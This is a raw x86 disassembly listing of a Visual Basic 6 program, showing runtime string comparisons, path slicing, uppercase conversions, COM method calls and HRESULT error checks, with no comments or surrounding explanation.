call dword [sym.imp.MSVBVM60.DLL___vbaStrCmp]
neg eax
sbb eax, eax
neg eax
neg eax
mov cx, word [ebp - 0x198]
and cx, ax
mov word [ebp - 0x1c0], cx
lea edx, [ebp - 0x38]
push edx
lea eax, [ebp - 0x34]
push eax
push 2
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0xc
movsx ecx, word [ebp - 0x1c0]
test ecx, ecx
je 0x423cea
mov dword [ebp - 4], 0x39
cmp dword [0x44005c], 0
jne 0x423b51
push 0x44005c
push 0x417c78
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x370], 0x44005c
jmp 0x423b5b
mov dword [ebp - 0x370], 0x44005c
mov edx, dword [ebp - 0x370]
mov eax, dword [edx]
mov dword [ebp - 0x1b0], eax
mov ecx, dword [0x440030]
push ecx
mov edx, dword [0x440068]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaStrCat]
mov edx, eax
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
lea eax, [ebp - 0x38]
push eax
push 0x440068
lea ecx, [ebp - 0x34]
push ecx
mov edx, dword [ebp - 0x1b0]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x1b0]
push ecx
call dword [eax + 0x20]
fnclex
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0
jge 0x423bdb
push 0x20
push 0x41a4e0
mov edx, dword [ebp - 0x1b0]
push edx
mov eax, dword [ebp - 0x1b4]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x374], eax
jmp 0x423be5
mov dword [ebp - 0x374], 0
cmp dword [0x440050], 0
jne 0x423c0a
push 0x440050
push 0x419000
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x378], 0x440050
jmp 0x423c14
mov dword [ebp - 0x378], 0x440050
mov ecx, dword [ebp - 0x378]
mov edx, dword [ecx]
mov dword [ebp - 0x1b8], edx
mov word [ebp - 0x198], 0
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x234], eax
mov dword [ebp - 0x38], 0
mov edx, dword [ebp - 0x234]
lea ecx, [ebp - 0x40]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
mov ecx, dword [0x440044]
push ecx
push 0x41b720
call dword [sym.imp.MSVBVM60.DLL___vbaStrCat]
mov edx, eax
lea ecx, [ebp - 0x3c]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
lea edx, [ebp - 0x44]
push edx
lea eax, [ebp - 0x198]
push eax
lea ecx, [ebp - 0x40]
push ecx
lea edx, [ebp - 0x3c]
push edx
mov eax, dword [ebp - 0x1b8]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x1b8]
push edx
call dword [ecx + 0x78]
fnclex
mov dword [ebp - 0x1bc], eax
cmp dword [ebp - 0x1bc], 0
jge 0x423cc0
push 0x78
push 0x41a71c
mov eax, dword [ebp - 0x1b8]
push eax
mov ecx, dword [ebp - 0x1bc]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x37c], eax
jmp 0x423cca
mov dword [ebp - 0x37c], 0
lea edx, [ebp - 0x44]
push edx
lea eax, [ebp - 0x40]
push eax
lea ecx, [ebp - 0x3c]
push ecx
lea edx, [ebp - 0x34]
push edx
push 4
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x14
jmp 0x423edf
mov dword [ebp - 4], 0x3b
cmp dword [0x440d40], 0
jne 0x423d16
push 0x440d40
push 0x41aee0
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x380], 0x440d40
jmp 0x423d20
mov dword [ebp - 0x380], 0x440d40
mov eax, dword [ebp - 0x380]
mov ecx, dword [eax]
mov dword [ebp - 0x1b0], ecx
lea edx, [ebp - 0x54]
push edx
mov eax, dword [ebp - 0x1b0]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x1b0]
push edx
call dword [ecx + 0x14]
fnclex
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0
jge 0x423d78
push 0x14
push 0x41aed0
mov eax, dword [ebp - 0x1b0]
push eax
mov ecx, dword [ebp - 0x1b4]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x384], eax
jmp 0x423d82
mov dword [ebp - 0x384], 0
mov edx, dword [ebp - 0x54]
mov dword [ebp - 0x1b8], edx
lea eax, [ebp - 0x198]
push eax
mov ecx, dword [ebp - 0x1b8]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x1b8]
push eax
call dword [edx + pe_nt_image_headers32]
fnclex
mov dword [ebp - 0x1bc], eax
cmp dword [ebp - 0x1bc], 0
jge 0x423dde
push pe_nt_image_headers32
push 0x41aef0
mov ecx, dword [ebp - 0x1b8]
push ecx
mov edx, dword [ebp - 0x1bc]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x388], eax
jmp 0x423de8
mov dword [ebp - 0x388], 0
cmp dword [0x440054], 0
jne 0x423e0d
push 0x440054
push 0x418124
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x38c], 0x440054
jmp 0x423e17
mov dword [ebp - 0x38c], 0x440054
mov eax, dword [ebp - 0x38c]
mov ecx, dword [eax]
mov dword [ebp - 0x1c0], ecx
xor edx, edx
mov dx, word [ebp - 0x198]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaStrI2]
mov edx, eax
lea ecx, [ebp - 0x3c]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
mov edx, 0x41b700
lea ecx, [ebp - 0x38]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x41b6ec
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
lea eax, [ebp - 0x19c]
push eax
lea ecx, [ebp - 0x3c]
push ecx
lea edx, [ebp - 0x38]
push edx
lea eax, [ebp - 0x34]
push eax
mov ecx, dword [ebp - 0x1c0]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x1c0]
push eax
call dword [edx + 0x2c]
fnclex
mov dword [ebp - 0x1c4], eax
cmp dword [ebp - 0x1c4], 0
jge 0x423eb5
push 0x2c
push 0x41b0a4
mov ecx, dword [ebp - 0x1c0]
push ecx
mov edx, dword [ebp - 0x1c4]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x390], eax
jmp 0x423ebf
mov dword [ebp - 0x390], 0
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x38]
push ecx
lea edx, [ebp - 0x34]
push edx
push 3
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x10
lea ecx, [ebp - 0x54]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeObj]
mov dword [ebp - 4], 0x3f
cmp dword [0x440d40], 0
jne 0x423f0b
push 0x440d40
push 0x41aee0
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x394], 0x440d40
jmp 0x423f15
mov dword [ebp - 0x394], 0x440d40
mov eax, dword [ebp - 0x394]
mov ecx, dword [eax]
mov dword [ebp - 0x1b0], ecx
lea edx, [ebp - 0x54]
push edx
mov eax, dword [ebp - 0x1b0]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x1b0]
push edx
call dword [ecx + 0x14]
fnclex
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0
jge 0x423f6d
push 0x14
push 0x41aed0
mov eax, dword [ebp - 0x1b0]
push eax
mov ecx, dword [ebp - 0x1b4]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x398], eax
jmp 0x423f77
mov dword [ebp - 0x398], 0
mov edx, dword [ebp - 0x54]
mov dword [ebp - 0x1b8], edx
lea eax, [ebp - 0x34]
push eax
mov ecx, dword [ebp - 0x1b8]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x1b8]
push eax
call dword [edx + 0x58]
fnclex
mov dword [ebp - 0x1bc], eax
cmp dword [ebp - 0x1bc], 0
jge 0x423fca
push 0x58
push 0x41aef0
mov ecx, dword [ebp - 0x1b8]
push ecx
mov edx, dword [ebp - 0x1bc]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x39c], eax
jmp 0x423fd4
mov dword [ebp - 0x39c], 0
mov eax, dword [ebp - 0x34]
push eax
push 0x41b720
call dword [sym.imp.MSVBVM60.DLL___vbaStrCat]
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x74], 8
lea ecx, [ebp - 0x74]
push ecx
lea edx, [ebp - 0x84]
push edx
call dword [sym.imp.MSVBVM60.DLL_rtcUpperCaseVar]
mov dword [ebp - 0x15c], 0x440064
mov dword [ebp - 0x164], 0x4008
lea eax, [ebp - 0x164]
push eax
lea ecx, [ebp - 0x94]
push ecx
call dword [sym.imp.MSVBVM60.DLL_rtcUpperCaseVar]
cmp dword [0x440d40], 0
jne 0x42404b
push 0x440d40
push 0x41aee0
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x3a0], 0x440d40
jmp 0x424055
mov dword [ebp - 0x3a0], 0x440d40
mov edx, dword [ebp - 0x3a0]
mov eax, dword [edx]
mov dword [ebp - 0x1c0], eax
lea ecx, [ebp - 0x58]
push ecx
mov edx, dword [ebp - 0x1c0]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x1c0]
push ecx
call dword [eax + 0x14]
fnclex
mov dword [ebp - 0x1c4], eax
cmp dword [ebp - 0x1c4], 0
jge 0x4240ad
push 0x14
push 0x41aed0
mov edx, dword [ebp - 0x1c0]
push edx
mov eax, dword [ebp - 0x1c4]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x3a4], eax
jmp 0x4240b7
mov dword [ebp - 0x3a4], 0
mov ecx, dword [ebp - 0x58]
mov dword [ebp - 0x1c8], ecx
lea edx, [ebp - 0x38]
push edx
mov eax, dword [ebp - 0x1c8]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x1c8]
push edx
call dword [ecx + 0x58]
fnclex
mov dword [ebp - 0x1cc], eax
cmp dword [ebp - 0x1cc], 0
jge 0x42410a
push 0x58
push 0x41aef0
mov eax, dword [ebp - 0x1c8]
push eax
mov ecx, dword [ebp - 0x1cc]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x3a8], eax
jmp 0x424114
mov dword [ebp - 0x3a8], 0
mov edx, dword [ebp - 0x38]
push edx
push 0x41b720
call dword [sym.imp.MSVBVM60.DLL___vbaStrCat]
mov dword [ebp - 0xac], eax
mov dword [ebp - 0xb4], 8
lea eax, [ebp - 0xb4]
push eax
lea ecx, [ebp - 0xc4]
push ecx
call dword [sym.imp.MSVBVM60.DLL_rtcUpperCaseVar]
mov dword [ebp - 0x16c], 0x440068
mov dword [ebp - 0x174], 0x4008
lea edx, [ebp - 0x174]
push edx
lea eax, [ebp - 0xd4]
push eax
call dword [sym.imp.MSVBVM60.DLL_rtcUpperCaseVar]
lea ecx, [ebp - 0x84]
push ecx
lea edx, [ebp - 0x94]
push edx
lea eax, [ebp - 0xa4]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaVarCmpEq]
push eax
lea ecx, [ebp - 0xc4]
push ecx
lea edx, [ebp - 0xd4]
push edx
lea eax, [ebp - 0xe4]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaVarCmpEq]
push eax
lea ecx, [ebp - 0xf4]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaVarOr]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaBoolVarNull]
mov word [ebp - 0x1d0], ax
lea edx, [ebp - 0x38]
push edx
lea eax, [ebp - 0x34]
push eax
push 2
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0xc
lea ecx, [ebp - 0x58]
push ecx
lea edx, [ebp - 0x54]
push edx
push 2
call dword [sym.imp.MSVBVM60.DLL___vbaFreeObjList]
add esp, 0xc
lea eax, [ebp - 0xd4]
push eax
lea ecx, [ebp - 0xc4]
push ecx
lea edx, [ebp - 0xb4]
push edx
lea eax, [ebp - 0x94]
push eax
lea ecx, [ebp - 0x84]
push ecx
lea edx, [ebp - 0x74]
push edx
push 6
call dword [sym.imp.MSVBVM60.DLL___vbaFreeVarList]
add esp, 0x1c
movsx eax, word [ebp - 0x1d0]
test eax, eax
je 0x424d79
mov dword [ebp - 4], 0x40
cmp dword [0x440d40], 0
jne 0x424255
push 0x440d40
push 0x41aee0
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x3ac], 0x440d40
jmp 0x42425f
mov dword [ebp - 0x3ac], 0x440d40
mov ecx, dword [ebp - 0x3ac]
mov edx, dword [ecx]
mov dword [ebp - 0x1b0], edx
lea eax, [ebp - 0x54]
push eax
mov ecx, dword [ebp - 0x1b0]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x1b0]
push eax
call dword [edx + 0x14]
fnclex
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0
jge 0x4242b7
push 0x14
push 0x41aed0
mov ecx, dword [ebp - 0x1b0]
push ecx
mov edx, dword [ebp - 0x1b4]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x3b0], eax
jmp 0x4242c1
mov dword [ebp - 0x3b0], 0
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x1b8], eax
lea ecx, [ebp - 0x34]
push ecx
mov edx, dword [ebp - 0x1b8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x1b8]
push ecx
call dword [eax + 0x58]
fnclex
mov dword [ebp - 0x1bc], eax
cmp dword [ebp - 0x1bc], 0
jge 0x424314
push 0x58
push 0x41aef0
mov edx, dword [ebp - 0x1b8]
push edx
mov eax, dword [ebp - 0x1bc]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x3b4], eax
jmp 0x42431e
mov dword [ebp - 0x3b4], 0
mov ecx, dword [ebp - 0x34]
push ecx
push 0x41b720
call dword [sym.imp.MSVBVM60.DLL___vbaStrCat]
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x74], 8
lea edx, [ebp - 0x74]
push edx
lea eax, [ebp - 0x84]
push eax
call dword [sym.imp.MSVBVM60.DLL_rtcUpperCaseVar]
mov dword [ebp - 0x15c], 0x440064
mov dword [ebp - 0x164], 0x4008
lea ecx, [ebp - 0x164]
push ecx
lea edx, [ebp - 0x94]
push edx
call dword [sym.imp.MSVBVM60.DLL_rtcUpperCaseVar]
lea eax, [ebp - 0x84]
push eax
lea ecx, [ebp - 0x94]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaVarTstEq]
mov word [ebp - 0x1c0], ax
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStr]
lea ecx, [ebp - 0x54]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeObj]
lea edx, [ebp - 0x94]
push edx
lea eax, [ebp - 0x84]
push eax
lea ecx, [ebp - 0x74]
push ecx
push 3
call dword [sym.imp.MSVBVM60.DLL___vbaFreeVarList]
add esp, 0x10
movsx edx, word [ebp - 0x1c0]
test edx, edx
je 0x4248a1
mov dword [ebp - 4], 0x41
push 0
push 0xffffffffffffffff
push 0x41a3cc
mov eax, dword [0x440064]
push eax
call dword [sym.imp.MSVBVM60.DLL_rtcInStrRev]
sub eax, 1
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x74], 3
mov dword [ebp - 0x15c], 0x440064
mov dword [ebp - 0x164], 0x4008
lea ecx, [ebp - 0x74]
push ecx
push 1
lea edx, [ebp - 0x164]
push edx
lea eax, [ebp - 0x84]
push eax
call dword [sym.imp.MSVBVM60.DLL_rtcMidCharVar]
cmp dword [0x440054], 0
jne 0x424445
push 0x440054
push 0x418124
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x3b8], 0x440054
jmp 0x42444f
mov dword [ebp - 0x3b8], 0x440054
mov ecx, dword [ebp - 0x3b8]
mov edx, dword [ecx]
mov dword [ebp - 0x1b0], edx
lea eax, [ebp - 0x84]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaStrVarMove]
mov edx, eax
lea ecx, [ebp - 0x38]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
mov edx, 0x41b6ec
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
lea ecx, [ebp - 0x1a0]
push ecx
lea edx, [ebp - 0x38]
push edx
lea eax, [ebp - 0x34]
push eax
mov ecx, dword [ebp - 0x1b0]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x1b0]
push eax
call dword [edx + 0x34]
fnclex
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0
jge 0x4244d8
push 0x34
push 0x41b0a4
mov ecx, dword [ebp - 0x1b0]
push ecx
mov edx, dword [ebp - 0x1b4]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x3bc], eax
jmp 0x4244e2
mov dword [ebp - 0x3bc], 0
cmp dword [0x440d40], 0
jne 0x424507
push 0x440d40
push 0x41aee0
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x3c0], 0x440d40
jmp 0x424511
mov dword [ebp - 0x3c0], 0x440d40
mov eax, dword [ebp - 0x3c0]
mov ecx, dword [eax]
mov dword [ebp - 0x1b8], ecx
lea edx, [ebp - 0x54]
push edx
mov eax, dword [ebp - 0x1b8]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x1b8]
push edx
call dword [ecx + 0x14]
fnclex
mov dword [ebp - 0x1bc], eax
cmp dword [ebp - 0x1bc], 0
jge 0x424569
push 0x14
push 0x41aed0
mov eax, dword [ebp - 0x1b8]
push eax
mov ecx, dword [ebp - 0x1bc]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x3c4], eax
jmp 0x424573
mov dword [ebp - 0x3c4], 0
mov edx, dword [ebp - 0x54]
mov dword [ebp - 0x1c0], edx
lea eax, [ebp - 0x198]
push eax
mov ecx, dword [ebp - 0x1c0]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x1c0]
push eax
call dword [edx + pe_nt_image_headers32]
fnclex
mov dword [ebp - 0x1c4], eax
cmp dword [ebp - 0x1c4], 0
jge 0x4245cf
push pe_nt_image_headers32
push 0x41aef0
mov ecx, dword [ebp - 0x1c0]
push ecx
mov edx, dword [ebp - 0x1c4]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x3c8], eax
jmp 0x4245d9
mov dword [ebp - 0x3c8], 0
movsx eax, word [ebp - 0x198]
xor ecx, ecx
cmp dword [ebp - 0x1a0], eax
sete cl
neg ecx
mov word [ebp - 0x1c8], cx
lea edx, [ebp - 0x38]
push edx
lea eax, [ebp - 0x34]
push eax
push 2
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0xc
lea ecx, [ebp - 0x54]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeObj]
lea ecx, [ebp - 0x84]
push ecx
lea edx, [ebp - 0x74]
push edx
push 2
call dword [sym.imp.MSVBVM60.DLL___vbaFreeVarList]
add esp, 0xc
movsx eax, word [ebp - 0x1c8]
test eax, eax
je 0x424636
jmp 0x42489c
mov dword [ebp - 4], 0x43
push 0
push 0xffffffffffffffff
push 0x41a3cc
mov ecx, dword [0x440064]
push ecx
call dword [sym.imp.MSVBVM60.DLL_rtcInStrRev]
sub eax, 1
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x74], 3
mov dword [ebp - 0x15c], 0x440064
mov dword [ebp - 0x164], 0x4008
lea edx, [ebp - 0x74]
push edx
push 1
lea eax, [ebp - 0x164]
push eax
lea ecx, [ebp - 0x84]
push ecx
call dword [sym.imp.MSVBVM60.DLL_rtcMidCharVar]
cmp dword [0x440d40], 0
jne 0x4246b3
push 0x440d40
push 0x41aee0
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x3cc], 0x440d40
jmp 0x4246bd
mov dword [ebp - 0x3cc], 0x440d40
mov edx, dword [ebp - 0x3cc]
mov eax, dword [edx]
mov dword [ebp - 0x1b0], eax
lea ecx, [ebp - 0x54]
push ecx
mov edx, dword [ebp - 0x1b0]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x1b0]
push ecx
call dword [eax + 0x14]
fnclex
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0
jge 0x424715
push 0x14
push 0x41aed0
mov edx, dword [ebp - 0x1b0]
push edx
mov eax, dword [ebp - 0x1b4]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x3d0], eax
jmp 0x42471f
mov dword [ebp - 0x3d0], 0
mov ecx, dword [ebp - 0x54]
mov dword [ebp - 0x1b8], ecx
lea edx, [ebp - 0x198]
push edx
mov eax, dword [ebp - 0x1b8]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x1b8]
push edx
call dword [ecx + pe_nt_image_headers32]
fnclex
mov dword [ebp - 0x1bc], eax
cmp dword [ebp - 0x1bc], 0
jge 0x42477b
push pe_nt_image_headers32
push 0x41aef0
mov eax, dword [ebp - 0x1b8]
push eax
mov ecx, dword [ebp - 0x1bc]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x3d4], eax
jmp 0x424785
mov dword [ebp - 0x3d4], 0
cmp dword [0x440054], 0
jne 0x4247aa
push 0x440054
push 0x418124
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x3d8], 0x440054
jmp 0x4247b4
mov dword [ebp - 0x3d8], 0x440054
mov edx, dword [ebp - 0x3d8]
mov eax, dword [edx]
mov dword [ebp - 0x1c0], eax
xor ecx, ecx
mov cx, word [ebp - 0x198]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaStrI2]
mov edx, eax
lea ecx, [ebp - 0x3c]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
lea edx, [ebp - 0x84]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaStrVarMove]
mov edx, eax
lea ecx, [ebp - 0x38]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
mov edx, 0x41b6ec
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
lea eax, [ebp - 0x19c]
push eax
lea ecx, [ebp - 0x3c]
push ecx
lea edx, [ebp - 0x38]
push edx
lea eax, [ebp - 0x34]
push eax
mov ecx, dword [ebp - 0x1c0]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x1c0]
push eax
call dword [edx + 0x2c]
fnclex
mov dword [ebp - 0x1c4], eax
cmp dword [ebp - 0x1c4], 0
jge 0x42485c
push 0x2c
push 0x41b0a4
mov ecx, dword [ebp - 0x1c0]
push ecx
mov edx, dword [ebp - 0x1c4]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x3dc], eax
jmp 0x424866
mov dword [ebp - 0x3dc], 0
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x38]
push ecx
lea edx, [ebp - 0x34]
push edx
push 3
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x10
lea ecx, [ebp - 0x54]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeObj]
lea eax, [ebp - 0x84]
push eax
lea ecx, [ebp - 0x74]
push ecx
push 2
call dword [sym.imp.MSVBVM60.DLL___vbaFreeVarList]
add esp, 0xc
jmp 0x424d74
mov dword [ebp - 4], 0x46
push 0
push 0xffffffffffffffff
push 0x41a3cc
mov edx, dword [0x440068]
push edx
call dword [sym.imp.MSVBVM60.DLL_rtcInStrRev]
sub eax, 1
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x74], 3
mov dword [ebp - 0x15c], 0x440068
mov dword [ebp - 0x164], 0x4008
lea eax, [ebp - 0x74]
push eax
push 1
lea ecx, [ebp - 0x164]
push ecx
lea edx, [ebp - 0x84]
push edx
call dword [sym.imp.MSVBVM60.DLL_rtcMidCharVar]
cmp dword [0x440054], 0
jne 0x42491e
push 0x440054
push 0x418124
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x3e0], 0x440054
jmp 0x424928
mov dword [ebp - 0x3e0], 0x440054
mov eax, dword [ebp - 0x3e0]
mov ecx, dword [eax]
mov dword [ebp - 0x1b0], ecx
lea edx, [ebp - 0x84]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaStrVarMove]
mov edx, eax
lea ecx, [ebp - 0x38]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
mov edx, 0x41b6ec
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
lea eax, [ebp - 0x1a0]
push eax
lea ecx, [ebp - 0x38]
push ecx
lea edx, [ebp - 0x34]
push edx
mov eax, dword [ebp - 0x1b0]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x1b0]
push edx
call dword [ecx + 0x34]
fnclex
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0
jge 0x4249b1
push 0x34
push 0x41b0a4
mov eax, dword [ebp - 0x1b0]
push eax
mov ecx, dword [ebp - 0x1b4]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x3e4], eax
jmp 0x4249bb
mov dword [ebp - 0x3e4], 0
cmp dword [0x440d40], 0
jne 0x4249e0
push 0x440d40
push 0x41aee0
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x3e8], 0x440d40
jmp 0x4249ea
mov dword [ebp - 0x3e8], 0x440d40
mov edx, dword [ebp - 0x3e8]
mov eax, dword [edx]
mov dword [ebp - 0x1b8], eax
lea ecx, [ebp - 0x54]
push ecx
mov edx, dword [ebp - 0x1b8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x1b8]
push ecx
call dword [eax + 0x14]
fnclex
mov dword [ebp - 0x1bc], eax
cmp dword [ebp - 0x1bc], 0
jge 0x424a42
push 0x14
push 0x41aed0
mov edx, dword [ebp - 0x1b8]
push edx
mov eax, dword [ebp - 0x1bc]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x3ec], eax
jmp 0x424a4c
mov dword [ebp - 0x3ec], 0
mov ecx, dword [ebp - 0x54]
mov dword [ebp - 0x1c0], ecx
lea edx, [ebp - 0x198]
push edx
mov eax, dword [ebp - 0x1c0]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x1c0]
push edx
call dword [ecx + pe_nt_image_headers32]
fnclex
mov dword [ebp - 0x1c4], eax
cmp dword [ebp - 0x1c4], 0
jge 0x424aa8
push pe_nt_image_headers32
push 0x41aef0
mov eax, dword [ebp - 0x1c0]
push eax
mov ecx, dword [ebp - 0x1c4]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x3f0], eax
jmp 0x424ab2
mov dword [ebp - 0x3f0], 0
movsx edx, word [ebp - 0x198]
xor eax, eax
cmp dword [ebp - 0x1a0], edx
sete al
neg eax
mov word [ebp - 0x1c8], ax
lea ecx, [ebp - 0x38]
push ecx
lea edx, [ebp - 0x34]
push edx
push 2
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0xc
lea ecx, [ebp - 0x54]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeObj]
lea eax, [ebp - 0x84]
push eax
lea ecx, [ebp - 0x74]
push ecx
push 2
call dword [sym.imp.MSVBVM60.DLL___vbaFreeVarList]
add esp, 0xc
movsx edx, word [ebp - 0x1c8]
test edx, edx
je 0x424b0f
jmp 0x424d74
mov dword [ebp - 4], 0x48
push 0
push 0xffffffffffffffff
push 0x41a3cc
mov eax, dword [0x440068]
push eax
call dword [sym.imp.MSVBVM60.DLL_rtcInStrRev]
sub eax, 1
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x74], 3
mov dword [ebp - 0x15c], 0x440068
mov dword [ebp - 0x164], 0x4008
lea ecx, [ebp - 0x74]
push ecx
push 1
lea edx, [ebp - 0x164]
push edx
lea eax, [ebp - 0x84]
push eax
call dword [sym.imp.MSVBVM60.DLL_rtcMidCharVar]
cmp dword [0x440d40], 0
jne 0x424b8b
push 0x440d40
push 0x41aee0
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x3f4], 0x440d40
jmp 0x424b95
mov dword [ebp - 0x3f4], 0x440d40
mov ecx, dword [ebp - 0x3f4]
mov edx, dword [ecx]
mov dword [ebp - 0x1b0], edx
lea eax, [ebp - 0x54]
push eax
mov ecx, dword [ebp - 0x1b0]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x1b0]
push eax
call dword [edx + 0x14]
fnclex
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0
jge 0x424bed
push 0x14
push 0x41aed0
mov ecx, dword [ebp - 0x1b0]
push ecx
mov edx, dword [ebp - 0x1b4]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x3f8], eax
jmp 0x424bf7
